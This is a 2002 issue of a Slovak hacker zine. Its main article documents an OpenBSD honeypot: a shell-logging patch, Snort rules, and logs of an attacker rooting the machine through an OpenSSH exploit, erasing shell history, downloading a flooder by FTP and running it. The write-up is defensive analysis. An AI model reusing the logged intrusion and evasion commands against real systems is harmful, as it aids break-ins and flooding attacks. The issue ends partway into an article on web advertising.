cwbe coordinatez:
101
1
102
617302
8639991

ABSOLUT
KYBERIA
permissions
you: r,
system: moderated
net: yes

neurons

stats|by_visit|by_K
source
tiamat
commanders
polls

total descendants::0
total children::0
show[ 2 | 3] flat




::::::::::. :::::::.. :::.,:::::: ::: ... . :
`;;;```.;;;;;;;``;;;; ;;;;;;;'''' ;;; .;;;;;;;. ;;,. ;;;
`]]nnn]]' [[[,/[[[' [[[ [[cccc [[[ ,[[ [[,[[[[, ,[[[[,
$$$"" $$$$$$c $$$ $$"""" $$' $$$, $$$$$$$$$$$"$$$
888o 888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
YMMMb MMMM "W" MMM """"YUMMM""""YUMMM "YMMMMMP" MMM M' "MMM

prielom #18, 27.11.02 , prielom(at)hysteria.sk, http://hysteria.sk/prielom/





obsah







intro



tak a hysterka je naspat v plnej sile. hardware je novy a ambicie ostali tie stare - stat sa komunikacnym
centrom pocitacoveho undergroundu v nasich koncinach. a predsa este cosi viac. myslim si ze na slovensku a v cechach nam chyba
nejaka mienkotvorna identita ktora by bola alternativou k statnemu a firemnemu sektoru. ludia si vytvaraju
nazor na rozne veci suvisace s informacnymi technologiami len na zaklade toho co dostanu naservirovane od
marketingovych masinerii it firiem, pripadne od nasej vlady. neexistuje ziaden znamejsi zdroj informacii
o tychto oblastiach ktory by prezentoval alternativne ci opozicne nazory k tym od
spominanych dvoch sektorov. ked napriklad pise novinar v nemecku clanok o digitalnom podpise tak si okrem
firemnych zdrojov a prislusneho zakona vramci objektivity precita aj nazor computer chaos clubu ci americkeho
electronic frontier foundation. spravit z hysterky nieco na sposob poslednych dvoch spominanych institucii
su azda silne reci, ale minimalne je to smer ktorym sa chcem vydat. ak by totiz u nas chcel novinar pisat clanok
o digitalnom podpise, precita si len clanok v platku typu "infotrendy" (www.etrend.sk) ktory prislusnemu "autorovi"
podstrcilo marketingove oddelenie silnej it firmy (spolu s firemnym trickom s limcekom a firemnym parker perom),
pripadne si svoj nazor vytvori na jednej zo smiesnych "it konferencii" ktore sa v cechach a na slovensku robia x-krat
do roka a ktore su len pasovou prehliadkou firemnych komercnych prezentacii..



centralny zdroj alternativnych nazorov k oblastiam ktore suvsia s kyberpriestorom - to je moja vizia hysterky v buducnosti
ktoru som rozhodnuty budovat. dat dokopy hardware a rozbehnut web bolo to najjednoduchsie (no vlastne ani nie - slova
vdaky za vcelku umornu pracu putuju zyxovi a maniacovi :). co bude tazsie je dat dokopy siroku komunitu ludi so spolocnymi
konickami a nazormi. preto koncim toto intro s co najuprimnejsie myslenou hlasnou vyzvou: ludia ktori vidite veci inak ako
komercny ci vladny sektor a chyba vam komunikacna platforma - ozvite sa mi. nechajte svoj hlas pocut prostrednictvom pevnej
ochrannej bariery hysterky.



pajkus, 22.11.02, ruzinov







medove tyzdne s OpenBSD



pred casom sa v roznych interentovych periodikach objavil odkaz na analyzu
napadnuteho honeypotu s operacnym systemom OpenBSD 3.0 [ href="#paper">1
], ktoreho navrh sa mne nie tak celkom pozdaval a podnietil
ma, aby som si podobnu situaciu nasimuloval sam a uzil si trochu zabavy. tento
clanok popisuje zivotny cyklus projektu a ciastocne je i uvahou na rozne
suvisiace temy.


honeypot?



hned na uvod by sme si mali vysvetlit, co to honeypot vlastne je. ako aj
samotny preklad anglickeho nazvu napoveda, ide o "nadobku s medom", avsak
nadobou je v tomto prenesenom vyzname hostitelsky pocitac, ci uz fyzicky,
virtualny (napr. usermode linux[2]) alebo simulovany (napr.
honeyd[3]) a tym medom je operacny system, ktory je
umyselne ponechany napospas utocnikom a ako pohar s medom laka svojou vonou k
sladkej dobrote, tak ich on snazi prilakat k prieniku do systemu. ak vam to
este stale nedava zmysel, dodam, ze takyto system je potom pozornym okom
sledovany a utoky su podrobne vyhodnocovane. takymto sposobom je mozne
studovat metodiku utocnikov, ziskat nastroje, ktore k prienikom pouzivaju k
dalsej analyze a vyvodit z toho patricne dosledky. najznamejsim projektom,
ktory je zaroven priekopnikom tejto metody, je The Honeynet Project [ href="#honeynet">4]. ak vas tato tematika zaujala, na ich strankach mozete
ziskat mnozstvo relevantnych informacii.


dizajn siete



prave dizajn honeypotu, o ktorom pojednava vyssieuvedena studia, sa mne osobne
nepozdaval. autor sa rozhodol, ze samotny system, ktory bolo mozne napadnut,
umiestni za firewall do lokalneho ip adresneho pasma, cize nebude mozne sa nan
pripojit priamo z internetu a naopak a len presmeroval jeden port, na ktorom
bezi derave sshd (OpenSSH z OpenBSD 3.0) na cielovy stroj a prepusta spojenia
von. i ked sam priznava, ze bol k takemuto navrhu dotlaceny nedobrovolne, kedze
nemal k dispozicii viac ipadries a jeho cielom bolo otestovat, ci je mozne
prevadzkovat honeypot aj v takomto prostredi.



prakticky jedina vyhoda, ktoru ziskal je prave ta, ze moze prevadzkovat
honeypot aj za situacie, ked moze pouzit len jednu ipadresu a je nuteny
posunut dalsie systemy dovnutra lokalnej siete. takyto system vsak nemoze
sluzit ako modelovy pripad, kedze utocnik je prakticky "vymknuty" vo vnutri a
preniknut naspat inou cestou (backdoor iny ako sshd) je pre neho pomerne
narocne. po zbeznom prehliadnuti systemu musi byt utocnikovi taktiez okamzite
jasne, ze nie je vsetko uplne v poriadku a moze zacat sipit podozrenie a
jednoducho odist a uz sa nevratit. takyto honeypot plni teda len polovicnu
funkciu: umozni sledovat a analyzovat situaciu predchadzajucu prieniku a
prienik samotny. nie je uz mozne pozorovat dalsie kroky, ktore utocnik moze
vykonat s vynimkou jeho tapania na suchu a nasledneho odchodu, ci uz z dovodu
toho, ze pojme podozrenie, ze so systemom nie je vsetko v poriadku alebo
jednoducho jeho technicke schopnosti nebudu postacovat na prekonanie takejto
bariery.



osobne sm sa rozhodol pouzit fyzicky stroj s verejnou ipadresou, kedze taketo
riesenie bolo v danej situacii najjednoduchsie a najpriamociarejsie (a nebol
som obmedzovany nedostatkom adries).



.
Internet . LAN
.
(tam ziju levy) .
. .------->[ monitorovacia stanica (ipfilter) ]
. | ^
. | |
. snort log, syslog |
. | |
[ firewall (snort, iptables) ] |
. || |
. || syslog
. ||______________. |
. `---------------[ honeypot (sh, syslog) ]
.



konfiguracia, logovanie a nastroje



ako operacny system na honeypot som pre zmenu pouzil OpenBSD 3.1, ktory ma po
defaultnej instalacii taktiez deravy ssh daemon [5] a
vyhradil som si na tento ucel starsi notebook, v ktorom som vymenil disk, aby
som si zachoval povodny system a data bez reinstalacie. nainstaloval som nan
beznu instalaciu tohto systemu (bez X), vratane ports a doinstaloval som
typicke uzivatelske aplikacie, aby system vyzeral byt pouzivany a zaroven
poskytol relativne pohodlne prostredie pre utocnika (screen, autotools, wget,
etc.). taktiez som vytvoril niekolkych uzivatelov a pocas priprav som niekolko
dni vytvaral falosnu aktivitu na tychto kontach ale tiez nie privelmi
frekventovanu, aby nebolo podozrive, ze uzivatelia nie su aktivni prave vo
chvili, ked bude system napadnuty.



problem, na ktory narazil autor spominanej studie v tejto faze, a sice, ze
"nebol schopny pouzit patch, ktory umoznuje po aplikovani na zdrojove kody bash
2.05 logovat uzivatelske prikazy cez syslog, pretoze takyto bash nie je mozne
potom spolahlivo pouzit ako /bin/sh (ktory exploit spusta) v systeme OpenBSD"
som nemohol brat ako padny argument a vyriesil som to po svojom--napisal som si
vlastny. patch pre pdksh, ktory OpenBSD pouziva v sh mode ako /bin/sh a v
nativnom mode ako /bin/ksh je prilozeny tu:


--- lex.c.orig Sat Jul 20 16:16:18 2002
+++ lex.c Sat Jul 20 16:07:37 2002
@@ -7,6 +7,9 @@
#include "sh.h"
#include <ctype.h>

+#ifdef HONEYPOT
+#include <syslog.h>
+#endif

/* Structure to keep track of the lexing state and the various pieces of info
* needed for each particular state.
@@ -1001,6 +1004,9 @@
char *xp = Xstring(s->xs, xp);
int interactive = Flag(FTALKING) && s->type == SSTDIN;
int have_tty = interactive && (s->flags & SF_TTY);
+#ifdef HONEYPOT
+ char logbuf[600];
+#endif

/* Done here to ensure nothing odd happens when a timeout occurs */
XcheckN(s->xs, xp, LINE);
@@ -1080,6 +1086,17 @@
s->start = s->str = Xstring(s->xs, xp);
strip_nuls(Xstring(s->xs, xp), Xlength(s->xs, xp));
/* Note: if input is all nulls, this is not eof */
+#ifdef HONEYPOT
+ if (strlen(Xstring(s->xs, xp)) < 600)
+ syslog(LOG_LOCAL5 | LOG_INFO, "HISTORY: PID=%d UID=%d %s",
+ getpid(), getuid(), Xstring(s->xs, xp));
+ else {
+ strncpy(logbuf, Xstring(s->xs, xp), sizeof(logbuf));
+ logbuf[sizeof(logbuf) - 1] = '';
+ syslog(LOG_LOCAL5 | LOG_INFO, "HISTORY: PID=%d UID=%d %s(TRUNCATED!)",
+ getpid(), getuid(), logbuf);
+ }
+#endif
if (Xlength(s->xs, xp) == 0) { /* EOF */
if (s->type == SFILE)
shf_fdclose(s->u.shf);



tento patch som aplikoval v adresari /usr/src/usr.bin/ksh/ a skompiloval novy
shell prikazom: HONEYPOT=1 make a nahradil nim /bin/ksh (/bin/sh je hardlink).
jeho ucel je rovnaky ako uz spominaneho patchu pre bash z
honeynet.org--logovat prikazy, ktore uzivatel zada shellu cez syslogd s
prioritou info.local5.



potencialny utocnik by vsak mohol zabit proces syslogd a musel by som tieto
data pracne rekonstruovat z logov zachytenych tcp spojeni na firewalle (tomu
som sa nakoniec tak ci tak nevyhol). preto som upravil tiez zdrojove kody
syslogd, ktore mi umoznili pustit dve instancie tohto programu sucasne a
zaroven nacitavat konfiguraciu z ineho miesta ako je /etc/syslogd.conf. tieto
upravy boli trivialne a mozete si ich vypracovat ako domacu ulohu :). takto
upraveny syslogd som nakopiroval na miesto, ktore povodne patrilo apmd a
povolil jeho spustenie standardnym sposobom v /etc/rc.conf, takze sa po starte
tvaril velmi neskodne (kto by preco zabijal advanced power management daemon,
vsakze?). tento syslogd posielal vsetky logy cez siet na monitorovaciu
stanicu. tym boli upravy na samotnom cielovom stroji kompletne.



na firewalle, ktory oddeluje lokalnu siet od internetu, bol nainstalovany
intrusion detection system snort, ktory taktiez posielal data urcene k
neskorsej analyze na monitorovaciu stanicu. konfiguracia sa len velmi mierne
lisila od standardneho nastavenia, relevantny vynatok z pravidiel je tu:



ruletype honeypot-traffic
{
type log
output log_tcpdump: honeypot-traffic.log
}

honeypot-traffic tcp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming TCP Traffic";)
honeypot-traffic udp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming UDP Traffic";)
honeypot-traffic icmp $EXTERNAL_NET any -> $HONEYPOT any (msg:"Honeypot Incoming ICMP Traffic";)
honeypot-traffic tcp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing TCP Traffic";)
honeypot-traffic udp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing UDP Traffic";)
honeypot-traffic icmp $HONEYPOT any -> $EXTERNAL_NET any (msg:"Honeypot Outgoing ICMP Traffic";)


funkcnost je zrejma, loguje vsetky pretecene data smerujuce na a z cieloveho
stroja v tcpdump formate. snort samotny uz obsahuje v subore experimental.rules
(v case pisania clanku) pravidla na detekciu gobbles exploitu na OpenSSH.
$HONEYNET je premenna obsahujuca ipadresu honeypot stroja.



na firewalle samotnom su nastavene dost tuhe pravidla pre paketovy filter
(iptables, GNU/Linux), takze som sa neobaval pripadneho napadnutia inych
segmentov lokalnej siete a na monitorovacej stanici som zakazal akykolvek
traffic z honeypot stroja okrem dat zo syslogu (ipfilter, Solaris). nechcel som
pridavat ziadne extra pravidla na firewalle, aby utocnik nedostal pocit, ze je
kdesi vymknuty ale zaroven som bol pripraveny odpojit ho od siete, ak by zacal
vyvijat aktivitu, ktora by mi mohla sposobit problemy (napadanie dalsich
systemov na internete, icmp floodovanie, etc.). este dodam, ze v tomto
segmente lokalnej siete sa ziadne dalsie pocitace v tom case nenachadzali.



pre zjednodusenie orientacie bude firewall oznaceny ako 'firewall' a honeypot
stroj 'honeypot', v skutocnosti maju ine mena. realne ipadresy ostatnych
pocitacov fugurujucich v logoch boli taktiez pozmenene.


priebeh



na druhy den po spusteni (Jul 20 16:43:41), presnejsie o par hodin, sa objavili
prve skeny na ssh a pokracovali i neskor:


Jul 21 04:35:47 honeypot sshd[2192]: Connection from aaa.aa.aa.aa port 2601
Jul 21 04:37:03 honeypot sshd[2192]: Did not receive identification string from aaa.aa.aa.aa
...
Jul 21 10:09:59 honeypot sshd[7602]: Connection from bbb.bbb.bbb.bb port 60298
Jul 21 10:09:59 honeypot sshd[7602]: Did not receive identification string from bbb.bbb.bbb.bb
...
Jul 22 23:21:48 honeypot sshd[13222]: Connection from ccc.cc.ccc.cc port 1480
Jul 22 23:31:53 honeypot sshd[13222]: fatal: Timeout before authentication for ccc.cc.ccc.cc.



az nakoniec prisiel prvy uspesny utok z adsl klienta kanadskeho poskytovatela
pripojenia:


Jul 23 20:42:27 honeypot sshd[14629]: Connection from xxx.xxx.xxx.xx port 32854
Jul 23 20:42:27 honeypot sshd[14629]: Enabling compatibility mode for protocol 2.0
Jul 23 20:42:29 firewall snort: [1:1812:1] EXPERIMENTAL MISC gobbles SSH exploit attempt
[Classification: Misc Attack] [Priority: 2]:
{TCP} xxx.xxx.xxx.xx:32854 -> honeypot:22
Jul 23 20:42:33 honeypot sshd[14629]: Failed none for root from xxx.xxx.xxx.xx port 32854 ssh2
Jul 23 20:42:33 honeypot sshd[14629]: Postponed keyboard-interactive for root from xxx.xxx.xxx.xx port 32854 ssh2
Jul 23 20:42:40 honeypot sshd[14629]: fatal: buffer_get_string: bad string length 263168
Jul 23 20:42:40 honeypot sshd[14629]: fatal: buffer_get_string: bad string length 263168
Jul 23 20:42:40 firewall snort: [1:1810:1] EXPERIMENTAL MISC successful gobbles ssh exploit (GOBBLE)
[Classification: Misc Attack] [Priority: 2]:
{TCP} honeypot:22 -> xxx.xxx.xxx.xx:32854
Jul 23 20:42:41 honeypot sh: HISTORY: PID=14629 UID=0 uname -a;id
Jul 23 20:42:41 firewall snort: [1:498:3] ATTACK RESPONSES id check returned root
[Classification: Potentially Bad Traffic] [Priority: 2]:
{TCP} honeypot:22 -> xxx.xxx.xxx.xx:32854

OpenBSD honeypot 3.1 GENERIC#59 i386
uid=0(root) gid=0(wheel) groups=0(wheel)


avsak jedine, na co sa dotycny zmohol, bol prikaz w o par minut neskor:


Jul 23 20:51:53 honeypot sh: HISTORY: PID=14629 UID=0 w

8:51PM up 3 days, 4:07, 1 user, load averages: 0.07 , 0.08, 0.08
USER TTY FROM LOGIN@ IDLE WHAT
martin C1 - Mon01AM 1day screen


a nasledne sa odpojil. pravdepodobne sa zlakol uzivatela, ktory bol prihlaseny
na konzole a mal idle viac nez den. mal spusteny screen a v nom browser links s
natiahnutou strankou google.com. odhlasil som ho a vyckaval dalej..



dalsie skeny sa objavili az o dva dni neskor a sporadicky pokracovali zopar
dalsich dni:


Jul 25 19:59:57 honeypot sshd[30]: Connection from ddd.ddd.ddd.ddd port 3292
Jul 25 20:00:52 honeypot sshd[30]: Bad protocol version identification
'M^?M-tM^?M-}^FM^?M-tM^?M-}^Flol' from ddd.ddd.ddd.ddd
...
Jul 26 03:52:58 honeypot sshd[17038]: Connection from ee.eee.ee.eee port 3997
Jul 26 04:03:03 honeypot sshd[17038]: fatal: Timeout before authentication for ee.eee.ee.eee.
...
Jul 30 12:30:40 honeypot sshd[1748]: Connection from fff.fff.fff.ff port 1817
Jul 30 12:30:40 honeypot sshd[1748]: Did not receive identification string from fff.fff.fff.ff
...
Aug 1 06:02:06 honeypot sshd[16014]: Connection from ggg.ggg.gg.ggg port 1901
Aug 1 06:12:06 honeypot sshd[16014]: fatal: Timeout before authentication for ggg.ggg.gg.ggg.



az sa napokon objavil opat nas stary znamy, ktory uz zjavne isiel na istotu:


Aug 1 18:47:26 honeypot sshd[25245]: Connection from xxx.xxx.xxx.xx port 57008
Aug 1 18:47:26 firewall snort: [1:1812:1] EXPERIMENTAL MISC gobbles SSH exploit attempt
[Classification: Misc Attack] [Priority: 2]:
{TCP} xxx.xxx.xxx.xx:57008 -> honeypot:22
Aug 1 18:47:27 honeypot sshd[25245]: Enabling compatibility mode for protocol 2.0
Aug 1 18:47:29 honeypot sshd[25245]: Failed none for root from xxx.xxx.xxx.xx port 57008 ssh2
Aug 1 18:47:30 honeypot sshd[25245]: Postponed keyboard-interactive for root from xxx.xxx.xxx.xx port 57008 ssh2
Aug 1 18:47:32 honeypot sshd[25245]: fatal: buffer_get_string: bad string length 263168
Aug 1 18:47:32 honeypot sshd[25245]: fatal: buffer_get_string: bad string length 263168
Aug 1 18:47:32 firewall snort: [1:1810:1] EXPERIMENTAL MISC successful gobbles ssh exploit (GOBBLE)
[Classification: Misc Attack] [Priority: 2]:
{TCP} honeypot:22 -> xxx.xxx.xxx.xx:57008
Aug 1 18:47:32 honeypot sh: HISTORY: PID=25245 UID=0 uname -a;id
Aug 1 18:47:32 firewall snort: [1:498:3] ATTACK RESPONSES id check returned root
[Classification: Potentially Bad Traffic] [Priority: 2]:
{TCP} honeypot:22 -> xxx.xxx.xxx.xx:57008

OpenBSD honeypot 3.1 GENERIC#59 i386
uid=0(root) gid=0(wheel) groups=0(wheel)

Aug 1 18:47:36 honeypot sh: HISTORY: PID=25245 UID=0 unset HISTFILE
Aug 1 18:47:36 honeypot sh: HISTORY: PID=25245 UID=0 w

6:47PM up 12 days, 2:03, 0 users, load averages: 0.06, 0.08, 0.08
USER TTY FROM LOGIN@ IDLE WHAT

Aug 1 18:47:39 honeypot sh: HISTORY: PID=25245 UID=0 ls

.cshrc .profile altroot bin boot bsd dev etc home
mnt root sbin stand sys tmp usr var

Aug 1 18:47:42 honeypot sh: HISTORY: PID=25245 UID=0 ps aux

USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
root 25245 5.8 0.4 384 308 ?? S 6:47PM 0:01.39 //bin/sh
root 12177 0.0 0.4 100 352 ?? Is 20Jul02 0:04.46 syslogd
root 6530 0.0 0.4 76 292 ?? Is 20Jul02 0:00.02 portmap
root 12662 0.0 1.6 1092 1312 ?? Ss 20Jul02 0:51.81 /usr/sbin/htt
root 3157 0.0 0.5 763 84 ?? Is 20Jul02 0:00.08 inetd
www 24521 0.0 1.1 1092 888 ?? I 20Jul02 0:00.08 /usr/sbin/htt
www 1134 0.0 1.1 1092 888 ?? I 20Jul02 0:00.08 /usr/sbin/htt
www 17705 0.0 1.1 1092 908 ?? I 20Jul02 0:00.10 /usr/sbin/htt
root 28815 0.0 1.0 372 828 ?? Ss 20Jul02 0:19.60 /usr/sbin/ssh
root 7345 0.0 0.5 80 368 ?? Ss 20Jul02 0:04.40 (apmd)
root 25599 0.0 0.5 224 440 ?? Is 20Jul02 0:05.48 cron
root 22711 0.0 0.3 36 256 ?? Is 20Jul02 0:00.01 /usr/sbin/wsm
root 649 0.0 0.5 48 408 C2 Is+ 20Jul02 0:00.02 /usr/libexec/
root 22447 0.0 0.5 48 408 C3 Is+ 20Jul02 0:00.02 /usr/libexec/
root 28337 0.0 0.5 48 408 C5 Is+ 20Jul02 0:00.02 /usr/libexec/
root 9662 0.0 1.0 836 784 ?? Ss 20Jul02 1:48.26 sendmail: acc
root 5418 0.0 0.5 48 408 C0 Is+ 20Jul02 0:00.02 /usr/libexec/
www 13599 0.0 1.1 1092 892 ?? I 20Jul02 0:00.08 /usr/sbin/htt
martin 7115 0.0 1.1 424 856 ?? Is 22Jul02 0:00.23 SCREEN (scree
martin 25456 0.0 0.4 392 340 p0 Is 22Jul02 0:00.14 /bin/ksh
martin 15687 0.0 1.4 860 1112 p0 I+ 22Jul02 0:00.16 links
root 24909 0.0 0.5 48 412 C1 Is+ 23Jul02 0:00.03 /usr/libexec/
www 25082 0.0 1.1 1092 892 ?? I Fri07AM 0:00.05 /usr/sbin/htt
www 29217 0.0 1.1 1092 892 ?? I Wed07AM 0:00.03 /usr/sbin/htt
www 10007 0.0 1.1 1092 892 ?? I Wed0 7AM 0:00.03 /usr/sbin/htt
root 1 0.0 0.0 332 76 ?? Is 22Jul02 0:00.10 /sbin/init

Aug 1 18:47:46 honeypot sh: HISTORY: PID=25245 UID=0 w

6:47PM up 12 days, 2:03, 0 users, load averages: 0.06, 0.08, 0.08
USER TTY FROM LOGIN@ IDLE WHAT

Aug 1 18:47:51 honeypot sh: HISTORY: PID=25245 UID=0



ocividne ho posmelilo, ze tentokrat uz nenasiel ziadneho nalogovaneho
uzivatela a tak sa o chvilku vratil (prazdny prikaz v HISTORY predstavuje
ctrl-d) a s chutou sa pustil do prace. nalogoval sa na ftp server urceny pre
klientov isteho holandskeho poskytovatela pripojenia a stiahol si nevinne
vyzerajuci subor td.doc (ftp spojenie je zrekonstruovane z dat na firewalle):


Aug 1 18:48:01 honeypot sh: HISTORY: PID=25316 UID=0 ftp yy.yy.yy.yy

220 FTP server (Version 7.02 - Yyyyyyyyy 1.1) ready.
USER xxxxxx
331 Password required for xxxxxx.
PASS xxxxxxxx
230 User xxxxxx logged in.
SYST
215 UNIX Type: L8 Version: BSD-199506
TYPE I
200 Type set to I.
SIZE td.doc
213 102400
EPSV
500 'EPSV': command not understood.
PASV
227 Entering Passive Mode (yy,yy,yy,yy,7,156)
RETR td.doc
150 Opening BINARY mode data connection for 'td.doc' (102400 bytes).
226 Transfer complete.
MDTM td.doc
213 20020727165925
QUIT
221 Goodbye.


(kedze pouzitie tohto ftp konta by mohlo byt povazovane za porusenie zakona z
mojej strany, nepokusal som sa nan nalogovat (a v principe ani nebolo cielom
patrat po utocnikovi). navyse, samotny binarny subor som ziskal na neskorsiu
analyzu priamo na honeypot stroji.)



opat sa porozhliadol, ci sa nahodou, medzitym ako mal spustene ftp, nikto
neprihlasil do systemu a vytvoril si subor, ktory zatial nedaval velky zmysel.
("n hodnota" je oblubeny format konfiguracnych suborov pre rootkity
odnepamati. v tomto momente som mohol len hadat jeho urcenie. predstavuje 3
skupinu procesov, ktore sa nebudu zobrazovat v prikazoch ps, top a pod. alebo
ide o subory, ktore neukaze ls, find, ...?).



presunul td.doc do /usr/include/... a na druhy krat sa mu podarilo nastavit
spustitelne prava. nakoniec ho spustil, znova sa poobzeral, skontroloval
procesy a pokusil sa reattachnut screen. tu by som sa nachvilku zastavil,
pretoze toto mi pripadalo zaujimave. utocnik videl, ze v procesoch sa nachadza
aj jeden spusteny screen, ktory vsak nebezal uzivatelovi root a navyse screen
sa neda spustit bez toho, aby mal k dispozicii tty zaiadenie, takze toto bol
pokus o nieco, co v ziadnom pripade nemohlo fungovat. skontroloval sietove
spojenia a napokon sa odhlasil:


Aug 1 18:48:28 honeypot sh: HISTORY: PID=25316 UID=0 w

6:48PM up 12 days, 2:04, 0 users, load averages: 0.10, 0.09, 0.08
USER TTY FROM LOGIN@ IDLE WHAT

Aug 1 18:48:30 honeypot sh: HISTORY: PID=25316 UID=0 echo "3 ..." >>/dev/sdab
Aug 1 18:48:45 honeypot sh: HISTORY: PID=25316 UID=0 echo "3 lpsched" >>/dev/sdab
Aug 1 18:48:51 honeypot sh: HISTORY: PID=25316 UID=0 mv td.doc /usr/include/...
Aug 1 18:48:56 honeypot sh: HISTORY: PID=25316 UID=0 chmod + /usr/include/...
Aug 1 18:49:00 honeypot sh: HISTORY: PID=25316 UID=0 /usr/include/...

//bin/sh: /usr/include/...: cannot execute - Permission denied

Aug 1 18:49:08 honeypot sh: HISTORY: PID=25316 UID=0 chmod +x /usr/include/...
Aug 1 18:49:12 honeypot sh: HISTORY: PID=25316 UID=0 /usr/include/...
Aug 1 18:49:13 honeypot sh: HISTORY: PID=25316 UID=0 w

6:49PM up 12 days, 2:05, 0 users, load averages: 0.10, 0.09, 0.08
USER TTY FROM LOGIN@ IDLE WHAT

Aug 1 18:49:15 honeypot sh: HISTORY: PID=25316 UID=0 ps aux

USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND
...
root 9825 0.0 0.4 132 288 ?? S 6:49PM 0:00.01 lpsched (...)

Aug 1 18:49:23 honeypot sh: HISTORY: PID=25316 UID=0 screen -r

Must be connected to a terminal...

Aug 1 18:49:31 honeypot sh: HISTORY: PID=25316 UID=0 netstat -an

Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp 0 0 honeypot:22 xxx.xxx.xxx.xx.57010 ESTABLISHED
tcp 0 0 *.113 *.* LISTEN
tcp 0 0 127.0.0.1.587 *.* LISTEN
tcp 0 0 127.0.0.1.25 *.* LISTEN
tcp 0 0 *.22 *.* LISTEN
tcp 0 0 *.21 *.* LISTEN
tcp 0 0 *.80 *.* LISTEN
tcp 0 0 127.0.0.1.111 *.* LISTEN
tcp 0 0 *.111 *.* LISTEN
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
udp 0 0 *.514 *.*
udp 0 0 127.0.0.1.111 *.*
udp 0 0 *.111 *.*
udp 0 0 *.* *.*
Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address Foreign Address (state)
tcp6 0 0 ::1.587 *.* LISTEN
tcp6 0 0 ::1.25 *.* LISTEN
tcp6 0 0 *.22 *.* LISTEN
Active UNIX domain sockets
Address Type Recv-Q Send-Q Inode Conn Refs Nextref Addr
0xe0861004 stream 0 0 0xe7949b78 0x0 0x0 0x0 /home/martin /.links/socket
0xe08610b4 dgram 0 0 0x0 0xe0851cc0 0x0 0xe085a980
0xe08014d0 dgram 0 0 0x0 0xe0851cc0 0x0 0xe0851580
0xe0801b00 dgram 0 0 0x0 0xe0851cc0 0x0 0x0
0xe08019a0 dgram 0 0 0xe793b848 0x0 0xe086e3c0 0x0 /dev/log
0xe0801f20 dgram 0 0 0x0 0xe0851cc0 0x0 0xe0866dc0
0xe0801790 dgram 0 0 0x0 0xe0834900 0x0 0x0
0xe0801000 dgram 0 0 0xe7924e74 0x0 0xe0834680 0x0 /dev/log

Aug 1 18:49:42 honeypot sh: HISTORY: PID=25316 UID=0



z vypisu posledneho prikazu ps by sa mohlo zdat, ze je uz jasne, na co sluzi
subor /dev/sdab a riadky v nom. opak je vsak pravdou, tento subor totiz vobec
nie je otvarany dotycnym binarnym suborom. analyza ukazala, ze sa jedna o
mierne poupraveny flooder, znamy pod menom Bubonic.c [ href="#bubonic">6], ktory pouziva fixne argv[] s hodnotou "lpsched" (nie
velmi sikovne upraveny, kedze ukazuje aj nazov skutocneho suboru). tieto
indicie by naznacovali, ze utocnik sa este chysta nainstalovat nejaky rootkit,
ktory sa bude konfigurovat cez /dev/sdab a jednym z cielov je ukryt tento
program. kedze okamzite po spusteni zacal generovat znacny icmp traffic, po
niekolkych hodinach (Aug 2 02:11:55) vyckavania, ci sa utocnik opat prihlasi,
som sa rozhodol jeho cinnost ukoncit.



bol som zvedavy, ci sa este ukaze a bude pokracovat v nacatej praci (stale tam
bol subor, ktory nedaval zmysel..) ale kedze sa ani po 4 dnoch neukazal a ja
som uz potreboval notebook opat pouzivat, honeypot som definitivne odpojil od
siete (Aug 6 08:51:23).


par slov na zaver



s vacsinou veci musim s autorom spominanej analyzy suhlasit. akonahle sa
objavia verejne dostupne exploity, ktorych pouzitie je trivialne a nekladie
naroky na ich pouzitie, okamzite sa rozsiria medzi pospolity lud. vdacnymi
uzivatelmi su najma pocetne skupinky script kiddies, ktorych najvacsou zabavou
je floodovanie na irc, ktori potom cele dni skenuju velke casti internetu na
zname chyby a masovo ich zneuzivaju. obetou podobneho utoku sa stal aj moj
honeypot, comu nasvedcuje icmp flooder a dalsi nezaujem zo strany utocnika
(ved podobnych strojov este najde stovky..).



extremne kratka doba, za ktoru bol system odhaleny a mnozstvo skenov, ktore
pocas nej prebehli, naznacuje, ze OpenSSH bolo v case pisania clanku v kurze a
kto nepatchuje, koleduje si o problemy a ani OpenBSD automaticky neznamena
zabezpeceny system. utocnik bol ocividne zamerany (aj) prave na OpenBSD
systemy, kedze mal pripravenu staticky linkovanu binarku floodera. jeho
rozpacite pocinanie dava tusit, ze vela skusenosti pravdepodobne nema. fakt,
ze sa ani nesnazil skryvat, moze znamenat, ze som bol jednoducho jednou z
desiatok jeho obeti, ktore po pouziti zahodi a ide zase o serverovnu dalej.



este dodam, ze pocas prevadzkovania honeypotu skoncili v logoch stovky pokusov
o prelomenie znamych dier v roznych inych kombinaciach systemov a softveru.
prevazovali utoky na chyby v ISS, mnozstvo z nich boli pravdepodobne cervy.
taktiez dalsie desiatky az stovky skenov na otvorene proxy servery, samba
shares, ci ftp.



honeypoty sa stavaju modnou mainstreamovou zalezitostou. pre utocnikov to
castokrat znamena, ze nevedia, ci sa pokusaju naburat do skutocneho deraveho
servera, o ktory sa administrator nestara alebo sadaju na lepkavy med sikovne
nachystaneho honeypotu. bude istotne zaujimave sledovat ako sa situacia
vyvinie. a co vy, uz mate svoj honeypot?


odkazy




[1] - http://www.lucidic.net/whitepapers/manuzis-7-5-2002-1.html

[2] - http://user-mode-linux.sourceforge.net/

[3] - http://www.citi.umich.edu/u/provos/honeyd/

[4] - http://www.honeynet.org/

[5] - http://openbsd.org/errata.html#sshd

[6] - http://online.securityfocus.com/archive/82/78437



salo, salo(at)hysteria.sk


navrat na obsah

co ty na to ? board






problemy internetovej reklamy



velmi velka cast prijmov z internetu hlavne v nasich krajinach (cr a sr) je
zalozena na reklame, vacsinou na bannerovej reklame. jednak tu pomerne uspesne
funguje bartrovy obchod (reklama za kredity) a jednak zobrazovanie impresii za
peniaze. tento clanok by mal byt malym kritickym pohladom na tuto cast trhu.



v prvom rade je vhodne povedat par odlisnosti reklamy internetovej a reklamy v
ostatnych mediach. reklama v beznych mediach sa pomerne tazsie cieli --
zameriava sa dost nepresne na cielove skupiny. zaroven je vsak mozne dopredu
